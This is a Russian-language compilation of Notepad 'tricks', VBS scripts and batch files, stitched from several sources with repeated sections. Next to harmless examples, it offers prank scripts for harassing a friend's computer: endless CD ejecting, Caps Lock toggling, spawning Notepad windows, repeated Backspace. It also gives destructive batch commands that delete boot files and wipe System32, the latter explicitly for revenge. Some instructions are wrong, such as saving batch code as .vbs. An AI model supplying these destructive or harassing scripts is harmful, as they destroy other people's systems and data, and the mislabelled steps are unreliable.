Как написать полезную программу в блокноте

С этой статьей вы не научитесь программировать и даже не напишите как таковую программу, но найдете здесь отличные VBS скрипты и BAT файлы, которые без проблем напишете в обычном блокноте Windows, сможете усовершенствовать по своему, потом похвастаться перед друзьями и близкими. Возможно это поднимет вам настроение и вы отлично проведете время.

Большинство похожих скриптов пишутся для удобства и автоматизации каких-либо действий на компьютере с ОС Windows. Представленные же ниже скрипты мало окажутся полезными (может мне так кажется), но они отлично подойдут для первоначального знакомства с “кодингом”. Вы отлично проведете время, удивив как себя, так и знакомых чайников (не программистов), плюс это еще один хороший вариант убить время за компьютером.

Немного терминологии:

VBS – язык программирования для создания скриптов в ОС Windows, создается/редактируется в Блокноте Windows, имеет разрешение “.vbs”. Думаю, продолжать не имеет смысла, ибо это мало о чем скажет, особенно новичкам. Интересующимся – статья в Википедии.
BAT – пакетный файл, в народе просто “батник”. Расширение файла “.bat”. Дальше аналогично – статья в Википедии.

Данных расширений (vbs, bat) файлы создаются во всеми известном Блокноте Windows (Notepad). Для большего удобства создания скриптов рекомендуется использовать усовершенствованный (скажем так) блокнот – Notepad++. Он удобен подсветкой синтаксиса большого количества языков программирования, если вам это мало о чем говорит, то скачайте и пишите в нем – ошибок сделаете меньше в коде, ну или будет их проще найти, чем в том же мало функциональном Блокноте Windows.

Скачать Notepad++ можно на официальном сайте.

Для наглядности пример (слева – Блокнот Windows, справа – Notepad++):

Блокнот Windows и Notepad++

Приступим

Если вы уже знакомы с VBS скриптами и батниками, то скорее всего нижеследующие примеры вам будут неинтересны, если же вы новичок, то для первоначального ознакомления – то, что нужно.

Научим компьютер здороваться

Открываем Блокнот (или Notepad Plus Plus).
Копируем в вставляем код:
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak “Hello!”
Обязательное условие: кавычки должны быть “такими”, «ёлочки» не подойдут, скрипт не будет обрабатываться и выйдет ошибка. Вместо слова “Hello” можете написать что угодно, даже по русски, при наличии русского голосового движка.
Дальше выбираем Файл – Сохранить как – Тип файла – Все файлы – название.vbs
Называйте файл как хотите, но не забудьте в конце прописать расширение – .vbs (пример – Privet.vbs).
Теперь пробуйте проверить свой скрипт – запустите файл двойным щелчок мыши.

Один нюанс: если вы прописали в кавычках слова русскими буквами, а при запуске произносится непонятно что, то у вас просто не установлен русский голосовой движок. Подробная установка и настройка голосового движка выходит за рамки нашей статьи, поэтому более подробно ознакомьтесь здесь и вновь возвращайтесь сюда.

Теперь, сделаем следующее: пропишем данный скрипт в автозагрузку, а это означает то, что при запуске компьютера вам будет произнесено написанное в программе слово (слова), если как в примере, то будет говорить – “Hello” при каждом включении компьютера. Как это сделать?

Все просто, программу (скрипт) добавить в автозагрузку можно таким же образом, то есть через такой же VBS скрипт. Создаем файл в блокноте, копируем/вставляем (Ctrl+C/Ctrl+V) следующий код:

Dim vOrg, objArgs, root, key, WshShell
root = “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun”
KeyHP = “Program”
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.RegWrite root+keyHP,”C:Privet.vbs /autorun”

Изменяем путь до скрипта “говорилки”, вот эту строчку – C:Privet.vbs на свою. Прописываем где у вас лежит этот скрипт и как называется. Дальше сохраняем только что созданную мини программу в блокноте и запускаем. Все, теперь компьютер будет с вами здороваться пр каждом включении.

Открыть дисковод

Открыть блокнот. Скопировать/Вставить следующий код:
Set a = CreateObject(“WMPlayer.OCX.7”)
Set b = a.CdromCollection
Set c = b.Item(0)
Set d = c.Eject
Сохранить с расширением .vbs
Запустить скрипт и откроется дисковод.

Есть более интересная модификация данного скрипта:

Set WMPlayer = CreateObject(“WMPlayer.OCX.7”)
do
WMPlayer.CdRomCollection.Item(0).Eject()
loop

В данном случае будет все время открываться-закрываться CD/DVD-привод, на ноутбуках в этом случае будет открываться после каждого его закрытия.

Внимание! Второй код (открытие-закрытие дисковода), некоторые антивирусы видят как вредоносную программу. Антивирус Касперского (в т.ч. и Kaspersky Free) его видит именно так и уничтожает сразу же. В первом же случае (просто открытие дисковода) для антивирусных программ не является вредоносным скриптом.

Чтобы прекратить автоматически открывать-закрывать дисковод необходимо:

Запустить диспетчер задач (комбинация клавиш Windows – Ctrl+Alt+Del).
Перейти на вкладку “Процессы”.
Найти процесс wscript.exe – правая кнопка мыши – завершить процесс.

Игра

Интересная находка из Сети – игра на VBS. Необходимо угадать число от 0 до 100. Скрипт автоматически при запуске задает (разгадывает) число, которое вам необходимо угадать и ввести в специальном окошке, при неправильном ответе даются подсказки, например меньше или больше.

угадайка игра Ниже тот самый код который необходимо скопировать и вставить в блокнот, далее сохранить (расширение .vbs).

Вы также можете изменять сообщения по своему, все что написано кириллицей без проблем редактируется. Не бойтесь сломать код. Поэкспериментируйте. В случае чего заново скопируйте рабочий код отсюда.

Set y = CreateObject(“Scripting.FileSystemObject”)
Set y = Nothing
Do
a = 0
u = 0
Randomize
Number = Int((RND*99)+1)
MsgBox “Я загадал число от 1 до 100, попробуй отгадать”,64,”Угадайка”
Do
a = a + 1
c = InputBox(“Угадай число” & vbCrLf & vbCrLf & “Попытка: ” & a & vbCrLf & vbCrLf & “Чтобы посмотреть результаты введите число !” & vbCrLf & vbCrLf & “Для выхода оставьте поле пустым” & vbCrLf & vbCrLf,”Угадайка”)
If c = “!” Then CreateObject(“WScript.Shell”).Run “notepad C:WindowsResult.dll”,3,True : Exit Do
If c <> “” Then
If IsNumeric(c) = True Then
If CInt(c) < Number Then MsgBox “Нет,это не ” & c & “. Я загадал число больше”,64,”Угадайка”
If CInt(c) > Number Then MsgBox “Нет,это не ” & c & “. Я загадал число меньше”,64,”Угадайка”
If CInt(c) = Number Then
Set y = CreateObject(“Scripting.FileSystemObject”)
MsgBox (“Количество попыток: ” & a)
If MsgBox (“Правильно, это было число ” & c & “. Начать заного?”,36,”Угадайка”) = 6 Then Exit Do Else WScript.Quit
End If
Else
MsgBox “Это не число!”,16,”Угадайка”
a = a – 1
End If
Else
a = a – 1
l = MsgBox (“Ты ничего не ввел. Выйти из программы?”,36,”Угадайка”)
If l = 6 Then WScript.Quit
End If
Loop
loop

Ну и перед тем как переходить к батникам (.BAT) воспользуемся самым полезным VBS скриптом из всех перечисленных в этой статье.

Скрипт закрывающий wscript.exe

Сам скрипт:

Set TaskKill = CreateObject(“WScript.Shell”)
TaskKill.Run “TaskKill /f /im wscript.exe”

По сути он делает тоже самое, что чуть выше объяснялось в диспетчере задач, как например нельзя просто взять и закрыть надоедливый скрипт открывающий-закрывающий дисковод, а запустив данный скрипт все запущенные будут закрыты. Это как клин клином вышибают.

Немного познакомились с VBS скриптами и о том как их писать в блокноте, теперь рассмотрим несколько примеров использования BAT файлов (далее – батник).

Завершение работы /Перезагрузка компьютера

Совсем простой батник состоящий всего из одной строки.

Открываем Блокнот.
Пишем следующий код:
shutdown -s -t 1 -c -f
Далее Файл – Сохранить как – нзвание.bat
Обратите внимание на расширение файла, это уже не VBS скрипт, а батник, по этому в конце названия прописываем .bat (Пример compoff.bat).
Запускаем только что созданный батник двойным щелчком мыши и компьютер выключится (Завершение работы).

Есть такой вариант кода:

shutdown -r -t 1 -c -f

Все также, прописываем в блокноте, сохраняем с расширением .bat и после запуска компьютер перезагрузится (обычная перезагрузка компьютера).

Удаление обновлений

Данный батник пригодится в том случае, если вы уже обновились до Windows 10. В чем суть? В этом батнике перечислены команды по удалению нескольких обновлений, как видно из названия – обновления телеметрии, или как раз одна из шпионских штучек системы, мы однажды уже говорили как отключить функции слежки Windows 10, в данном же случае вы просто создаете батник, в содержимое копируете код ниже и запускаете, после чего будут удалены перечисленные обновления.

@echo
echo
echo Step 1: Delete Updates Telemetry
wusa /uninstall /kb:3068708 /quiet /norestart
wusa /uninstall /kb:3022345 /quiet /norestart
wusa /uninstall /kb:3075249 /quiet /norestart
wusa /uninstall /kb:3080149 /quiet /norestart

Таким образом можно удалить абсолютно любое обновление, даже назойливое KB971033 которое проверяет копию Windows 7 на подлинность.

В Интернете встречается много различных скриптов, якобы безвредных, но будьте осторожны, прежде чем пробовать непонятно какой скрипт, некоторые из них могут навредить, например – вносить изменения в реестр, а в случае каких ошибок система будет выдавать ошибки, в таком случае придется или восстанавливать реестр Windows или сделать восстановление системы.

Источник

2019

Одной из первых вещей, которую человек изучает во время обучения использованию компьютера, является приложение под названием блокнот. Почти все знают, что такое блокнот, и, несмотря на то, что он простое и функциональное приложение, какой силой он на самом деле обладает. Можно буквально уничтожить чей-то компьютер с помощью блокнота, а также решить большие проблемы с помощью блокнота. Хорошо, блокнот не делает все, что я сказал сам по себе, но все же. Это платформа, на которой можно написать исходный код, который затем можно скомпилировать и прочее. Таким образом, изучение нескольких небольших приемов с блокнотом не повредит нашим шансам похвастаться или, возможно, получить другое представление о том, что блокнот действительно может сделать.

Итак, вот 15 классных трюков блокнота, которые вы должны попробовать:

1. Постоянно выдвигайте CD-привод с помощью блокнота

Тебе не кажется, что было бы весело, если бы ты мог играть со своим другом, снова и снова заставляя его CD-привод? Просто введите текст ниже в блокнот и сохраните его в виде файла .vbs . Дважды щелкните файл .vbs, чтобы увидеть его работу.

Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

2. Завершение работы компьютера с помощью блокнота

Представьте, что вместо того, чтобы нажимать кнопку «Пуск», затем кнопку «Завершение работы» и затем кнопку «ОК», вы можете просто дважды щелкнуть значок, чтобы выключить систему. Код трюка Блокнота, написанный ниже, делает именно это. Просто сохраните файл как файл .vbs и нажмите его, когда вам нужно завершить работу системы.

@echo off
msg * System will now shut down
shutdown -c “Bye!” –s

3. Постоянно открывайте Блокнот на компьютере вашего друга

Еще один трюк с блокнотом, чтобы поиграть с системой вашего друга, состоит в том, чтобы запустить команду, которая будет периодически открывать его / ее блокнот.

@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top

Сохраните его как файл .vbs и откройте его, чтобы посмотреть, что произойдет.

4. Сделать личный журнал или дневник

Специальная функция, которая позволяет нам сделать журнал, существует в блокноте. Используя его, мы можем создавать журналы вещей, так как блокнот будет указывать дату и время для нас всякий раз, когда мы открываем определенный тип файла журнала. Для этого просто введите « .LOG » в блокноте и сохраните его под любым именем. Теперь, когда бы вы ни открывали этот конкретный файл, вы увидите, что блокнот автоматически вводит дату и время его открытия, а затем вы можете сделать запись в журнале и сохранить журнал.

5. Матричный эффект

Теперь мы обсудим трюк с Блокнотом, который может превратить нашу командную строку в нечто, похожее на то, что оно только что вышло из фильма матрицы, или, может быть, что-то похожее на что-то прямо из системы хакера. Для этого все, что вам нужно сделать, это вставить следующий код в блокноте

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

Теперь вам нужно сохранить этот файл с расширением .bat, и после нажатия на файл .bat, который вы создали, вы увидите нечто подобное.

Небольшая настройка для настройки этого крутого эффекта заключается в том, что вы можете изменить значение перед цветом, то есть 02 в цвете 02, на любое другое значение, например, например, на 03; это изменит цвет текста, который появляется в командной строке.

Назначьте разные значения цвету и получайте удовольствие.

6. Несколько раз переключите Capslock, используя Блокнот

Вы можете играть с чьим-то компьютером или, возможно, с вашим собственным компьютером, написав скрипт, который может неоднократно переключать Caps Lock.

Просто скопируйте и вставьте код, записанный ниже, в блокнот.

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Теперь сохраните его как файл .vbs и используйте его, чтобы увидеть магию.

7. печатать медленно

Это трюк, который заставит текст печататься медленно, попробуйте, просто скопируйте и вставьте текст ниже в блокнот и сохраните его как файл .vbs .

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “wa”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “mg”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

Он ничего не делает, но вводит небольшую задержку между различными строками, которые он вводит.

8. Преобразование текста в речь с помощью блокнота.

Просто скопируйте и вставьте код внизу в блокнот и сохраните как файл .vbs . Когда вы играете в нее, вы получите диалоговое окно с вопросом, что вы хотите сказать компьютеру. Повеселись.

Dim message, sapi
message=InputBox(“What do you want me to say?”, “Speak to Me”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak message

9. Всемирный торговый центр Атака

Согласно этой уловке, если вы введете номер рейса, который поразил двойную башню, то есть Q33N, в блокноте, а затем измените тип шрифта на « wingdings » и размер шрифта на 72, то вы увидите очень странную вещь,

Это очень крутой трюк, но, к сожалению, это обман, поскольку ни один такой полет не ударил по башням-близнецам.

10. Изменение верхнего и нижнего колонтитула в блокноте

Перейдите в « Файл» -> « Параметры страницы» в блокноте, а затем в полях для верхнего и нижнего колонтитула введите любой из этих кодов.

& l Выровнять по левому краю следующие символы
& c Центрировать символы, которые следуют
& r Выровняйте справа символы, которые следуют
& d Распечатать текущую дату
& t Распечатать текущее время
& f Распечатать название документа
& p Распечатать номер страницы

11. Удаление загрузочных файлов с помощью блокнота

Один из способов уничтожить компьютер – удалить файлы, которые помогают ему запустить компьютер. Хотя это не рекомендуется, это код, который имеет право сделать это.

@ECHO OFF
ATTRIB -R -S -HC:AUTOEXEC.BAT
DEL C:AUTOEXEC.BAT
ATTRIB -R -S -HC:BOOT.INI
DEL C:BOOT.INI
ATTRIB -R -S -HC:NTLDR
DEL C:NTLDR
ATTRIB -R -S -HC:WINDOWSWIN.INI
DEL C:WINDOWSWIN.INI
SAVE IT AS .BAT FILE.

Это выключит компьютер и удалит файлы, необходимые для приведения компьютера в нормальное состояние.

Не пытайтесь делать это на вашем компьютере до тех пор, пока вы не захотите потерять все свои данные.

12. Удаление файлов System32 с помощью блокнота

Хотите отомстить кому-то? Просто используйте этот код, сохраните его как файл .bat и посмотрите, что он делает с системой этого человека. Это удалит все файлы System32, необходимые для работы системы в порядке.

Просто вставьте следующее в блокнот и сохраните его как файл .bat.

DEL C:WINDOWSSYSTEM32*.*/Q

13. Хит Enter непрерывно

Что, если мы хотим, чтобы функция нашей кнопки ввода повторялась снова и снова, лучше, чем нажимать ее снова и снова, – использовать приведенный ниже код

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

Сохраните его как файл .vbs и посмотрите его волшебство

14. Хит Backspace постоянно

Хорошо, нам нужна кнопка возврата, но что мы хотим раздражать кого-то и заставлять его нажимать себя снова и снова, механически это потребует некоторой работы с нашей стороны, но если мы просто используем этот код, это станет намного проще,

MsgBox “Backspace again and again and AGAIN”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

Сохраните как файл .vbs, чтобы он работал.

15. Набирать что-то снова и снова

Код для ввода чего-либо снова и снова упоминается ниже, вы можете использовать его для записи чего-либо снова и снова и снова, пока не выйдете из цикла.

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “I’ll be typed again and again”
loop

сохраните его как файл .vbs, чтобы он работал.

Важная заметка. Если вы получаете ошибки, говоря неправильные символы, попробуйте ввести в кодах двойные кавычки.

Источник

Приступим

Научим компьютер здороваться

Открываем Блокнот (или Notepad Plus Plus).
Копируем в вставляем код:Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak “Hello!”
Обязательное условие: кавычки должны быть “такими”, «ёлочки» не подойдут, скрипт не будет обрабатываться и выйдет ошибка. Вместо слова “Hello” можете написать что угодно, даже по русски, при наличии русского голосового движка.
Дальше выбираем Файл – Сохранить как – Тип файла – Все файлы – название.vbs
Называйте файл как хотите, но не забудьте в конце прописать расширение – .vbs (пример – Privet.vbs).
Теперь пробуйте проверить свой скрипт – запустите файл двойным щелчок мыши.

Один нюанс: если вы прописали в кавычках слова русскими буквами, а при запуске произносится непонятно что, то у вас просто не установлен русский голосовой движок. Подробная установка и настройка голосового движка выходит за рамки нашей статьи, поэтому более подробно ознакомьтесь здесь и вновь возвращайтесь сюда.

Открыть дисковод

Открыть блокнот. Скопировать/Вставить следующий код:Set a = CreateObject(“WMPlayer.OCX.7”)
Set b = a.CdromCollection
Set c = b.Item(0)
Set d = c.Eject
Сохранить с расширением .vbs
Запустить скрипт и откроется дисковод.

Есть более интересная модификация данного скрипта:

Set WMPlayer = CreateObject(“WMPlayer.OCX.7”)
do
WMPlayer.CdRomCollection.Item(0).Eject()
loop

Внимание! Второй код (открытие-закрытие дисковода), некоторые антивирусы видят как вредоносную программу. Антивирус Касперского (в т.ч. и Kaspersky Free) его видит именно так и уничтожает сразу же. В первом же случае (просто открытие дисковода) для антивирусных программ не является вредоносным скриптом.

Чтобы прекратить автоматически открывать-закрывать дисковод необходимо:

Запустить диспетчер задач (комбинация клавиш Windows – Ctrl+Alt+Del).
Перейти на вкладку “Процессы”.
Найти процесс wscript.exe – правая кнопка мыши – завершить процесс.

Игра

Ниже тот самый код который необходимо скопировать и вставить в блокнот, далее сохранить (расширение .vbs).

Вы также можете изменять сообщения по своему, все что написано кириллицей без проблем редактируется. Не бойтесь сломать код. Поэкспериментируйте. В случае чего заново скопируйте рабочий код отсюда.

Скрипт закрывающий wscript.exe

Сам скрипт:

Set TaskKill = CreateObject(“WScript.Shell”)
TaskKill.Run “TaskKill /f /im wscript.exe”

Завершение работы /Перезагрузка компьютера

Совсем простой батник состоящий всего из одной строки.

Открываем Блокнот.
Пишем следующий код:shutdown -s -t 1 -c -f
Далее Файл – Сохранить как – нзвание.bat
Обратите внимание на расширение файла, это уже не VBS скрипт, а батник, по этому в конце названия прописываем .bat (Пример compoff.bat).
Запускаем только что созданный батник двойным щелчком мыши и компьютер выключится (Завершение работы).

Есть такой вариант кода:

shutdown -r -t 1 -c -f

Удаление обновлений

Источник